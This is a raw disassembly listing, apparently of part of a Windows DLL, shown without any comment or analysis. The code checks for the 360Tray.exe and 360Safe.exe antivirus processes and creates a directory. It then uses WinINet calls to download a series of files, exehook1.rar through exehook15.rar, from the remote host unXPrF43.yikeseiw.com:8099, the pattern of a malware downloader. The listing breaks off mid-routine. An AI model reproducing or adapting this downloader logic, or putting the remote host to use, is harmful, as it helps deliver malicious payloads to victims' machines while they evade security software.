mov r8, qword [rdi + 0x10]
cmp r8, rax
jne 0x1800078ed
lea rdx, [0x18003b904]
call fcn.18000fc00
test eax, eax
je 0x18000799a
mov r8, qword [rbp + 0x1d0]
lea rdx, [rbp - 0x10]
add r8, 0xfffffffffffffffe
lea rcx, [rbp + 0x1c0]
mov r9, rsi
bts ebx, 0x13
call fcn.18000a594
lea rcx, [0x18003b908]
mov rdi, rax
call fcn.1800152d0
mov rcx, rdi
cmp qword [rdi + 0x18], r12
jb 0x18000792a
mov rcx, qword [rdi]
mov r8, qword [rdi + 0x10]
cmp r8, rax
jne 0x180007943
lea rdx, [0x18003b908]
call fcn.18000fc00
test eax, eax
je 0x18000799a
mov r8, qword [rbp + 0x1d0]
lea rdx, [rsp + 0x70]
add r8, 0xfffffffffffffffe
lea rcx, [rbp + 0x1c0]
mov r9, rsi
bts ebx, 0x14
call fcn.18000a594
lea rcx, [0x18003b90c]
mov rdi, rax
call fcn.1800152d0
mov rcx, rdi
cmp qword [rdi + 0x18], r12
jb 0x180007981
mov rcx, qword [rdi]
mov r8, qword [rdi + 0x10]
cmp r8, rax
jne 0x18000799f
lea rdx, [0x18003b90c]
call fcn.18000fc00
test eax, eax
jne 0x18000799f
mov dil, r13b
jmp 0x1800079a2
mov dil, r15b
bt ebx, 0x14
jae 0x1800079f8
mov rdx, qword [rbp - 0x78]
btr ebx, 0x14
cmp rdx, r12
jb 0x1800079e7
mov rcx, qword [rsp + 0x70]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800079e2
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180007b7b
call fcn.18000d760
mov qword [rbp - 0x80], r15
mov qword [rbp - 0x78], 0xf
mov byte [rsp + 0x70], r15b
bt ebx, 0x13
jae 0x180007a4c
mov rdx, qword [rbp + 8]
btr ebx, 0x13
cmp rdx, r12
jb 0x180007a3c
mov rcx, qword [rbp - 0x10]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180007a37
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180007b7b
call fcn.18000d760
mov qword [rbp], r15
mov qword [rbp + 8], 0xf
mov byte [rbp - 0x10], r15b
bt ebx, 0x12
jae 0x180007aa0
mov rdx, qword [rbp - 0x18]
btr ebx, 0x12
cmp rdx, r12
jb 0x180007a90
mov rcx, qword [rbp - 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180007a8b
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180007b7b
call fcn.18000d760
mov qword [rbp - 0x20], r15
mov qword [rbp - 0x18], 0xf
mov byte [rbp - 0x30], r15b
bt ebx, 0x11
jae 0x180007af4
mov rdx, qword [rbp - 0x58]
btr ebx, 0x11
cmp rdx, r12
jb 0x180007ae4
mov rcx, qword [rbp - 0x70]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180007adf
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180007b7b
call fcn.18000d760
mov qword [rbp - 0x60], r15
mov qword [rbp - 0x58], 0xf
mov byte [rbp - 0x70], r15b
bt ebx, 0x10
jae 0x180007b44
mov rdx, qword [rbp - 0x38]
btr ebx, 0x10
cmp rdx, r12
jb 0x180007b34
mov rcx, qword [rbp - 0x50]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180007b2f
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180007b7b
call fcn.18000d760
mov qword [rbp - 0x40], r15
mov qword [rbp - 0x38], 0xf
mov byte [rbp - 0x50], r15b
mov rdx, qword [rsp + 0x68]
btr ebx, 0xf
cmp rdx, r12
jb 0x180007b86
mov rcx, qword [rsp + 0x50]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180007b81
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180007b81
call fcn.1800163dc
int3
call fcn.18000d760
test dil, dil
je 0x180007b9d
cmp r14d, 2
jle 0x1800081ab
xor ecx, ecx
call fcn.180013db0
int3
mov r8, qword [rbp + 0x1d0]
lea rdx, [rsp + 0x50]
bts ebx, 0x15
lea rcx, [rbp + 0x1c0]
dec r8
mov r9, rsi
call fcn.18000a594
lea rcx, [0x18003b8d4]
mov rdi, rax
call fcn.1800152d0
mov rcx, rdi
cmp qword [rdi + 0x18], r12
jb 0x180007bda
mov rcx, qword [rdi]
mov r8, qword [rdi + 0x10]
cmp r8, rax
jne 0x180007bf7
lea rdx, [0x18003b8d4]
call fcn.18000fc00
test eax, eax
je 0x180007eb8
mov r8, qword [rbp + 0x1d0]
lea rdx, [rbp + 0x70]
bts ebx, 0x16
lea rcx, [rbp + 0x1c0]
dec r8
mov r9, rsi
call fcn.18000a594
lea rcx, [0x18003b8d8]
mov rdi, rax
call fcn.1800152d0
mov rcx, rdi
cmp qword [rdi + 0x18], r12
jb 0x180007c33
mov rcx, qword [rdi]
mov r8, qword [rdi + 0x10]
cmp r8, rax
jne 0x180007c50
lea rdx, [0x18003b8d8]
call fcn.18000fc00
test eax, eax
je 0x180007eb8
mov r8, qword [rbp + 0x1d0]
lea rdx, [rbp + 0x50]
bts ebx, 0x17
lea rcx, [rbp + 0x1c0]
dec r8
mov r9, rsi
call fcn.18000a594
lea rcx, [0x18003b8dc]
mov rdi, rax
call fcn.1800152d0
mov rcx, rdi
cmp qword [rdi + 0x18], r12
jb 0x180007c8c
mov rcx, qword [rdi]
mov r8, qword [rdi + 0x10]
cmp r8, rax
jne 0x180007ca9
lea rdx, [0x18003b8dc]
call fcn.18000fc00
test eax, eax
je 0x180007eb8
mov r8, qword [rbp + 0x1d0]
lea rdx, [rbp + 0x30]
bts ebx, 0x18
lea rcx, [rbp + 0x1c0]
dec r8
mov r9, rsi
call fcn.18000a594
lea rcx, [0x18003b8e0]
mov rdi, rax
call fcn.1800152d0
mov rcx, rdi
cmp qword [rdi + 0x18], r12
jb 0x180007ce5
mov rcx, qword [rdi]
mov r8, qword [rdi + 0x10]
cmp r8, rax
jne 0x180007d02
lea rdx, [0x18003b8e0]
call fcn.18000fc00
test eax, eax
je 0x180007eb8
mov r8, qword [rbp + 0x1d0]
lea rdx, [rbp - 0x50]
bts ebx, 0x19
lea rcx, [rbp + 0x1c0]
dec r8
mov r9, rsi
call fcn.18000a594
lea rcx, [0x18003b8e4]
mov rdi, rax
call fcn.1800152d0
mov rcx, rdi
cmp qword [rdi + 0x18], r12
jb 0x180007d3e
mov rcx, qword [rdi]
mov r8, qword [rdi + 0x10]
cmp r8, rax
jne 0x180007d5b
lea rdx, [0x18003b8e4]
call fcn.18000fc00
test eax, eax
je 0x180007eb8
mov r8, qword [rbp + 0x1d0]
lea rdx, [rbp - 0x70]
bts ebx, 0x1a
lea rcx, [rbp + 0x1c0]
dec r8
mov r9, rsi
call fcn.18000a594
lea rcx, [0x18003b8e8]
mov rdi, rax
call fcn.1800152d0
mov rcx, rdi
cmp qword [rdi + 0x18], r12
jb 0x180007d97
mov rcx, qword [rdi]
mov r8, qword [rdi + 0x10]
cmp r8, rax
jne 0x180007db4
lea rdx, [0x18003b8e8]
call fcn.18000fc00
test eax, eax
je 0x180007eb8
mov r8, qword [rbp + 0x1d0]
lea rdx, [rbp - 0x30]
bts ebx, 0x1b
lea rcx, [rbp + 0x1c0]
dec r8
mov r9, rsi
call fcn.18000a594
lea rcx, [0x18003b8ec]
mov rdi, rax
call fcn.1800152d0
mov rcx, rdi
cmp qword [rdi + 0x18], r12
jb 0x180007df0
mov rcx, qword [rdi]
mov r8, qword [rdi + 0x10]
cmp r8, rax
jne 0x180007e0d
lea rdx, [0x18003b8ec]
call fcn.18000fc00
test eax, eax
je 0x180007eb8
mov r8, qword [rbp + 0x1d0]
lea rdx, [rbp - 0x10]
bts ebx, 0x1c
lea rcx, [rbp + 0x1c0]
dec r8
mov r9, rsi
call fcn.18000a594
lea rcx, [0x18003b8f0]
mov rdi, rax
call fcn.1800152d0
mov rcx, rdi
cmp qword [rdi + 0x18], r12
jb 0x180007e49
mov rcx, qword [rdi]
mov r8, qword [rdi + 0x10]
cmp r8, rax
jne 0x180007e62
lea rdx, [0x18003b8f0]
call fcn.18000fc00
test eax, eax
je 0x180007eb8
mov r8, qword [rbp + 0x1d0]
lea rdx, [rsp + 0x70]
bts ebx, 0x1d
lea rcx, [rbp + 0x1c0]
dec r8
mov r9, rsi
call fcn.18000a594
lea rcx, [0x18003b8f4]
mov rdi, rax
call fcn.1800152d0
mov rcx, rdi
cmp qword [rdi + 0x18], r12
jb 0x180007e9f
mov rcx, qword [rdi]
mov r8, qword [rdi + 0x10]
cmp r8, rax
jne 0x180007ebd
lea rdx, [0x18003b8f4]
call fcn.18000fc00
test eax, eax
jne 0x180007ebd
mov dil, r13b
jmp 0x180007ec0
mov dil, r15b
bt ebx, 0x1d
jae 0x180007f16
mov rdx, qword [rbp - 0x78]
btr ebx, 0x1d
cmp rdx, r12
jb 0x180007f05
mov rcx, qword [rsp + 0x70]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180007f00
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180008192
call fcn.18000d760
mov qword [rbp - 0x80], r15
mov qword [rbp - 0x78], 0xf
mov byte [rsp + 0x70], r15b
bt ebx, 0x1c
jae 0x180007f6a
mov rdx, qword [rbp + 8]
btr ebx, 0x1c
cmp rdx, r12
jb 0x180007f5a
mov rcx, qword [rbp - 0x10]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180007f55
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180008192
call fcn.18000d760
mov qword [rbp], r15
mov qword [rbp + 8], 0xf
mov byte [rbp - 0x10], r15b
bt ebx, 0x1b
jae 0x180007fbe
mov rdx, qword [rbp - 0x18]
btr ebx, 0x1b
cmp rdx, r12
jb 0x180007fae
mov rcx, qword [rbp - 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180007fa9
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180008192
call fcn.18000d760
mov qword [rbp - 0x20], r15
mov qword [rbp - 0x18], 0xf
mov byte [rbp - 0x30], r15b
bt ebx, 0x1a
jae 0x180008012
mov rdx, qword [rbp - 0x58]
btr ebx, 0x1a
cmp rdx, r12
jb 0x180008002
mov rcx, qword [rbp - 0x70]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180007ffd
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180008192
call fcn.18000d760
mov qword [rbp - 0x60], r15
mov qword [rbp - 0x58], 0xf
mov byte [rbp - 0x70], r15b
bt ebx, 0x19
jae 0x180008066
mov rdx, qword [rbp - 0x38]
btr ebx, 0x19
cmp rdx, r12
jb 0x180008056
mov rcx, qword [rbp - 0x50]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180008051
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180008192
call fcn.18000d760
mov qword [rbp - 0x40], r15
mov qword [rbp - 0x38], 0xf
mov byte [rbp - 0x50], r15b
bt ebx, 0x18
jae 0x1800080ba
mov rdx, qword [rbp + 0x48]
btr ebx, 0x18
cmp rdx, r12
jb 0x1800080aa
mov rcx, qword [rbp + 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800080a5
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180008192
call fcn.18000d760
mov qword [rbp + 0x40], r15
mov qword [rbp + 0x48], 0xf
mov byte [rbp + 0x30], r15b
bt ebx, 0x17
jae 0x18000810a
mov rdx, qword [rbp + 0x68]
cmp rdx, r12
jb 0x1800080fa
mov rcx, qword [rbp + 0x50]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800080f5
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180008192
call fcn.18000d760
mov qword [rbp + 0x60], r15
mov qword [rbp + 0x68], 0xf
mov byte [rbp + 0x50], r15b
bt ebx, 0x16
jae 0x18000815f
mov rdx, qword [rbp + 0x88]
cmp rdx, r12
jb 0x180008149
mov rcx, qword [rbp + 0x70]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180008144
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180008192
call fcn.18000d760
mov qword [rbp + 0x80], r15
mov qword [rbp + 0x88], 0xf
mov byte [rbp + 0x70], r15b
mov rdx, qword [rsp + 0x68]
cmp rdx, r12
jb 0x18000819d
mov rcx, qword [rsp + 0x50]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180008198
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180008198
call fcn.1800163dc
int3
call fcn.18000d760
test dil, dil
je 0x1800081ab
cmp r14d, r13d
jg 0x180007b95
lea r8, [rbp + 0x248]
lea rdx, [rbp + 0x228]
lea rcx, [rsp + 0x50]
call fcn.18000b68c
mov rcx, rax
call fcn.18000a61c
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea rcx, [rsp + 0x50]
call fcn.18000a784
lea r8, [rbp + 0x248]
lea rdx, [rbp + 0x228]
lea rcx, [rsp + 0x50]
call fcn.18000b68c
mov rdx, rax
lea r8, [rbp + 0x268]
lea rcx, [rbp + 0x10]
call fcn.18000b620
lea rdx, [0x18003b910]
mov rbx, rax
lea rcx, [rbp + 0x90]
call fcn.18000a800
mov rcx, rax
mov r8, rbx
mov edx, 0x71
call fcn.180004cd0
lea rcx, [rsp + 0x50]
call fcn.18000a784
lea r8, [rbp + 0x248]
lea rdx, [rbp + 0x228]
lea rcx, [rsp + 0x50]
call fcn.18000b68c
mov rdx, rax
lea r8, [0x18003b918]
lea rcx, [rbp + 0x10]
call fcn.18000b6ec
lea rdx, [0x18003b928]
mov rbx, rax
lea rcx, [rbp + 0x90]
call fcn.18000a800
mov rcx, rax
mov r8, rbx
mov edx, 0x72
call fcn.180004cd0
lea rcx, [rsp + 0x50]
call fcn.18000a784
lea r8, [rbp + 0x248]
lea rdx, [rbp + 0x228]
lea rcx, [rsp + 0x50]
call fcn.18000b68c
mov rdx, rax
lea r8, [0x18003b930]
lea rcx, [rbp + 0x10]
call fcn.18000b6ec
lea rdx, [0x18003b928]
mov rbx, rax
lea rcx, [rbp + 0x90]
call fcn.18000a800
mov rcx, rax
mov r8, rbx
mov edx, 0x74
call fcn.180004cd0
lea rcx, [rsp + 0x50]
call fcn.18000a784
lea r14, str.360Tray.exe
mov rcx, r14
call fcn.18000523c
lea r12, [0x180041cb8]
test eax, eax
jle 0x18000836f
mov rdx, r14
lea rcx, [rsp + 0x50]
call fcn.1800063d4
mov rdx, rax
lea rcx, [0x180041cf8]
call fcn.18000a7e0
lea rcx, [rsp + 0x50]
call fcn.18000a784
lea rdx, str.360Safe.exe
lea rcx, [rsp + 0x50]
call fcn.1800063d4
mov rdx, rax
mov rcx, r12
call fcn.18000a7e0
lea rcx, [rsp + 0x50]
call fcn.18000a784
lea rdx, str.C:WindowsSystem32mmc.exe
lea rcx, [rbp + 0x10]
call fcn.18000a800
mov rcx, rax
call fcn.1800060b0
lea rdx, str.http:__unXPrF43.yikeseiw.com:8099_mb_
mov rdi, r15
lea rcx, [rbp + 0x208]
call fcn.18000a800
lea rcx, [rbp + 0x1c0]
call fcn.18000a614
mov r9, rsi
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0x1c0]
lea r8, [rax - 2]
call fcn.18000a594
mov rcx, rax
lea rdx, [0x18003b8f8]
call fcn.18000b7dc
lea rcx, [rsp + 0x50]
mov bl, al
call fcn.18000a784
test bl, bl
je 0x18000842f
xor r9d, r9d
mov dword [rsp + 0x20], r15d
xor r8d, r8d
lea rcx, str.abcd
mov edx, r13d
call qword [sym.imp.WININET.dll_InternetOpenA]
lea r8, str.exehook10.rar
mov rbx, rax
lea rdx, [rbp + 0x208]
lea rcx, [rsp + 0x50]
call fcn.18000b75c
mov rcx, rax
call fcn.18000a61c
mov rdx, rax
mov qword [rsp + 0x28], r15
xor r9d, r9d
mov dword [rsp + 0x20], 0x80000000
xor r8d, r8d
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
lea rcx, [rsp + 0x50]
jmp 0x180008d92
lea rcx, [rbp + 0x1c0]
call fcn.18000a614
mov r9, rsi
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0x1c0]
lea r8, [rax - 2]
call fcn.18000a594
mov rcx, rax
lea rdx, [0x18003b8fc]
call fcn.18000b7dc
lea rcx, [rsp + 0x50]
mov bl, al
call fcn.18000a784
test bl, bl
je 0x1800084d9
xor r9d, r9d
mov dword [rsp + 0x20], r15d
xor r8d, r8d
lea rcx, str.abcd
mov edx, r13d
call qword [sym.imp.WININET.dll_InternetOpenA]
lea r8, str.exehook11.rar
mov rbx, rax
lea rdx, [rbp + 0x208]
lea rcx, [rsp + 0x70]
call fcn.18000b75c
mov rcx, rax
call fcn.18000a61c
mov rdx, rax
mov qword [rsp + 0x28], r15
xor r9d, r9d
mov dword [rsp + 0x20], 0x80000000
xor r8d, r8d
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
lea rcx, [rsp + 0x70]
jmp 0x180008d92
lea rcx, [rbp + 0x1c0]
call fcn.18000a614
mov r9, rsi
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0x1c0]
lea r8, [rax - 2]
call fcn.18000a594
mov rcx, rax
lea rdx, [0x18003b900]
call fcn.18000b7dc
lea rcx, [rsp + 0x50]
mov bl, al
call fcn.18000a784
test bl, bl
je 0x180008581
xor r9d, r9d
mov dword [rsp + 0x20], r15d
xor r8d, r8d
lea rcx, str.abcd
mov edx, r13d
call qword [sym.imp.WININET.dll_InternetOpenA]
lea r8, str.exehook12.rar
mov rbx, rax
lea rdx, [rbp + 0x208]
lea rcx, [rbp - 0x10]
call fcn.18000b75c
mov rcx, rax
call fcn.18000a61c
mov rdx, rax
mov qword [rsp + 0x28], r15
xor r9d, r9d
mov dword [rsp + 0x20], 0x80000000
xor r8d, r8d
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
lea rcx, [rbp - 0x10]
jmp 0x180008d92
lea rcx, [rbp + 0x1c0]
call fcn.18000a614
mov r9, rsi
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0x1c0]
lea r8, [rax - 2]
call fcn.18000a594
mov rcx, rax
lea rdx, [0x18003b904]
call fcn.18000b7dc
lea rcx, [rsp + 0x50]
mov bl, al
call fcn.18000a784
test bl, bl
je 0x180008629
xor r9d, r9d
mov dword [rsp + 0x20], r15d
xor r8d, r8d
lea rcx, str.abcd
mov edx, r13d
call qword [sym.imp.WININET.dll_InternetOpenA]
lea r8, str.exehook13.rar
mov rbx, rax
lea rdx, [rbp + 0x208]
lea rcx, [rbp - 0x30]
call fcn.18000b75c
mov rcx, rax
call fcn.18000a61c
mov rdx, rax
mov qword [rsp + 0x28], r15
xor r9d, r9d
mov dword [rsp + 0x20], 0x80000000
xor r8d, r8d
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
lea rcx, [rbp - 0x30]
jmp 0x180008d92
lea rcx, [rbp + 0x1c0]
call fcn.18000a614
mov r9, rsi
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0x1c0]
lea r8, [rax - 2]
call fcn.18000a594
mov rcx, rax
lea rdx, [0x18003b908]
call fcn.18000b7dc
lea rcx, [rsp + 0x50]
mov bl, al
call fcn.18000a784
test bl, bl
je 0x1800086d1
xor r9d, r9d
mov dword [rsp + 0x20], r15d
xor r8d, r8d
lea rcx, str.abcd
mov edx, r13d
call qword [sym.imp.WININET.dll_InternetOpenA]
lea r8, str.exehook14.rar
mov rbx, rax
lea rdx, [rbp + 0x208]
lea rcx, [rbp - 0x70]
call fcn.18000b75c
mov rcx, rax
call fcn.18000a61c
mov rdx, rax
mov qword [rsp + 0x28], r15
xor r9d, r9d
mov dword [rsp + 0x20], 0x80000000
xor r8d, r8d
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
lea rcx, [rbp - 0x70]
jmp 0x180008d92
lea rcx, [rbp + 0x1c0]
call fcn.18000a614
mov r9, rsi
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0x1c0]
lea r8, [rax - 2]
call fcn.18000a594
mov rcx, rax
lea rdx, [0x18003b90c]
call fcn.18000b7dc
lea rcx, [rsp + 0x50]
mov bl, al
call fcn.18000a784
test bl, bl
je 0x180008779
xor r9d, r9d
mov dword [rsp + 0x20], r15d
xor r8d, r8d
lea rcx, str.abcd
mov edx, r13d
call qword [sym.imp.WININET.dll_InternetOpenA]
lea r8, str.exehook15.rar
mov rbx, rax
lea rdx, [rbp + 0x208]
lea rcx, [rbp - 0x50]
call fcn.18000b75c
mov rcx, rax
call fcn.18000a61c
mov rdx, rax
mov qword [rsp + 0x28], r15
xor r9d, r9d
mov dword [rsp + 0x20], 0x80000000
xor r8d, r8d
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
lea rcx, [rbp - 0x50]
jmp 0x180008d92
lea rcx, [rbp + 0x1c0]
call fcn.18000a614
sub rax, r13
lea rdx, [rsp + 0x50]
mov r8, rax
lea rcx, [rbp + 0x1c0]
mov r9, rsi
call fcn.18000a594
mov rcx, rax
lea rdx, [0x18003b8d4]
call fcn.18000b7dc
lea rcx, [rsp + 0x50]
mov bl, al
call fcn.18000a784
test bl, bl
je 0x180008823
xor r9d, r9d
mov dword [rsp + 0x20], r15d
xor r8d, r8d
lea rcx, str.abcd
mov edx, r13d
call qword [sym.imp.WININET.dll_InternetOpenA]
lea r8, str.exehook1.rar
mov rbx, rax
lea rdx, [rbp + 0x208]
lea rcx, [rbp + 0x30]
call fcn.18000b75c
mov rcx, rax
call fcn.18000a61c
mov rdx, rax
mov qword [rsp + 0x28], r15
xor r9d, r9d
mov dword [rsp + 0x20], 0x80000000
xor r8d, r8d
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
lea rcx, [rbp + 0x30]
jmp 0x180008d92
lea rcx, [rbp + 0x1c0]
call fcn.18000a614
sub rax, r13
lea rdx, [rsp + 0x50]
mov r8, rax
lea rcx, [rbp + 0x1c0]
mov r9, rsi
call fcn.18000a594
mov rcx, rax
lea rdx, [0x18003b8d8]
call fcn.18000b7dc
lea rcx, [rsp + 0x50]
mov bl, al
call fcn.18000a784
test bl, bl
je 0x1800088cd
xor r9d, r9d
mov dword [rsp + 0x20], r15d
xor r8d, r8d
lea rcx, str.abcd
mov edx, r13d
call qword [sym.imp.WININET.dll_InternetOpenA]
lea r8, str.exehook2.rar
mov rbx, rax
lea rdx, [rbp + 0x208]
lea rcx, [rbp + 0x50]
call fcn.18000b75c
mov rcx, rax
call fcn.18000a61c
mov rdx, rax
mov qword [rsp + 0x28], r15
xor r9d, r9d
mov dword [rsp + 0x20], 0x80000000
xor r8d, r8d
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
lea rcx, [rbp + 0x50]
jmp 0x180008d92
lea rcx, [rbp + 0x1c0]
call fcn.18000a614
sub rax, r13
lea rdx, [rsp + 0x50]
mov r8, rax
lea rcx, [rbp + 0x1c0]
mov r9, rsi
call fcn.18000a594
mov rcx, rax
lea rdx, [0x18003b8dc]
call fcn.18000b7dc
lea rcx, [rsp + 0x50]
mov bl, al
call fcn.18000a784
test bl, bl
je 0x180008977
xor r9d, r9d
mov dword [rsp + 0x20], r15d
xor r8d, r8d
lea rcx, str.abcd
mov edx, r13d
call qword [sym.imp.WININET.dll_InternetOpenA]
lea r8, str.exehook3.rar
mov rbx, rax
lea rdx, [rbp + 0x208]
lea rcx, [rbp + 0x70]
call fcn.18000b75c
mov rcx, rax
call fcn.18000a61c
mov rdx, rax
mov qword [rsp + 0x28], r15
xor r9d, r9d
mov dword [rsp + 0x20], 0x80000000
xor r8d, r8d
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
lea rcx, [rbp + 0x70]
jmp 0x180008d92
lea rcx, [rbp + 0x1c0]
call fcn.18000a614
sub rax, r13
lea rdx, [rsp + 0x50]
mov r8, rax
lea rcx, [rbp + 0x1c0]
mov r9, rsi
call fcn.18000a594
mov rcx, rax
lea rdx, [0x18003b8e0]
call fcn.18000b7dc
lea rcx, [rsp + 0x50]
mov bl, al
call fcn.18000a784
test bl, bl
je 0x180008a27
xor r9d, r9d
mov dword [rsp + 0x20], r15d
xor r8d, r8d
lea rcx, str.abcd
mov edx, r13d
call qword [sym.imp.WININET.dll_InternetOpenA]
lea r8, str.exehook4.rar
mov rbx, rax
lea rdx, [rbp + 0x208]
lea rcx, [rbp + 0xb0]
call fcn.18000b75c
mov rcx, rax
call fcn.18000a61c
mov rdx, rax
mov qword [rsp + 0x28], r15
xor r9d, r9d
mov dword [rsp + 0x20], 0x80000000
xor r8d, r8d
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
lea rcx, [rbp + 0xb0]
jmp 0x180008d92
lea rcx, [rbp + 0x1c0]
call fcn.18000a614
sub rax, r13
lea rdx, [rsp + 0x50]
mov r8, rax
lea rcx, [rbp + 0x1c0]
mov r9, rsi
call fcn.18000a594
mov rcx, rax
lea rdx, [0x18003b8e4]
call fcn.18000b7dc
lea rcx, [rsp + 0x50]
mov bl, al
call fcn.18000a784
test bl, bl
je 0x180008ad7
xor r9d, r9d
mov dword [rsp + 0x20], r15d
xor r8d, r8d
lea rcx, str.abcd
mov edx, r13d
call qword [sym.imp.WININET.dll_InternetOpenA]
lea r8, str.exehook5.rar
mov rbx, rax
lea rdx, [rbp + 0x208]
lea rcx, [rbp + 0x150]
call fcn.18000b75c
mov rcx, rax
call fcn.18000a61c
mov rdx, rax
mov qword [rsp + 0x28], r15
xor r9d, r9d
mov dword [rsp + 0x20], 0x80000000
xor r8d, r8d
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
lea rcx, [rbp + 0x150]
jmp 0x180008d92
lea rcx, [rbp + 0x1c0]
call fcn.18000a614
sub rax, r13
lea rdx, [rsp + 0x50]
mov r8, rax
lea rcx, [rbp + 0x1c0]
mov r9, rsi
call fcn.18000a594
mov rcx, rax
lea rdx, [0x18003b8e8]
call fcn.18000b7dc
lea rcx, [rsp + 0x50]
mov bl, al
call fcn.18000a784
test bl, bl
je 0x180008b87
xor r9d, r9d
mov dword [rsp + 0x20], r15d
xor r8d, r8d
lea rcx, str.abcd
mov edx, r13d
call qword [sym.imp.WININET.dll_InternetOpenA]
lea r8, str.exehook6.rar
mov rbx, rax
lea rdx, [rbp + 0x208]
lea rcx, [rbp + 0x130]
call fcn.18000b75c
mov rcx, rax
call fcn.18000a61c
mov rdx, rax
mov qword [rsp + 0x28], r15
xor r9d, r9d
mov dword [rsp + 0x20], 0x80000000
xor r8d, r8d
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
lea rcx, [rbp + 0x130]
jmp 0x180008d92
lea rcx, [rbp + 0x1c0]
call fcn.18000a614
sub rax, r13
lea rdx, [rsp + 0x50]
mov r8, rax
lea rcx, [rbp + 0x1c0]
mov r9, rsi
call fcn.18000a594
mov rcx, rax
lea rdx, [0x18003b8ec]
call fcn.18000b7dc
lea rcx, [rsp + 0x50]
mov bl, al
call fcn.18000a784
test bl, bl
je 0x180008c37
xor r9d, r9d
mov dword [rsp + 0x20], r15d
xor r8d, r8d
lea rcx, str.abcd
mov edx, r13d
call qword [sym.imp.WININET.dll_InternetOpenA]
lea r8, str.exehook7.rar
mov rbx, rax
lea rdx, [rbp + 0x208]
lea rcx, [rbp + 0x110]
call fcn.18000b75c
mov rcx, rax
call fcn.18000a61c
mov rdx, rax
mov qword [rsp + 0x28], r15
xor r9d, r9d
mov dword [rsp + 0x20], 0x80000000
xor r8d, r8d
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
lea rcx, [rbp + 0x110]
jmp 0x180008d92
lea rcx, [rbp + 0x1c0]
call fcn.18000a614
sub rax, r13
lea rdx, [rsp + 0x50]
mov r8, rax
lea rcx, [rbp + 0x1c0]
mov r9, rsi
call fcn.18000a594
mov rcx, rax
lea rdx, [0x18003b8f0]
call fcn.18000b7dc
lea rcx, [rsp + 0x50]
mov bl, al
call fcn.18000a784
test bl, bl
je 0x180008ce7
xor r9d, r9d
mov dword [rsp + 0x20], r15d
xor r8d, r8d
lea rcx, str.abcd
mov edx, r13d
call qword [sym.imp.WININET.dll_InternetOpenA]
lea r8, str.exehook8.rar
mov rbx, rax
lea rdx, [rbp + 0x208]
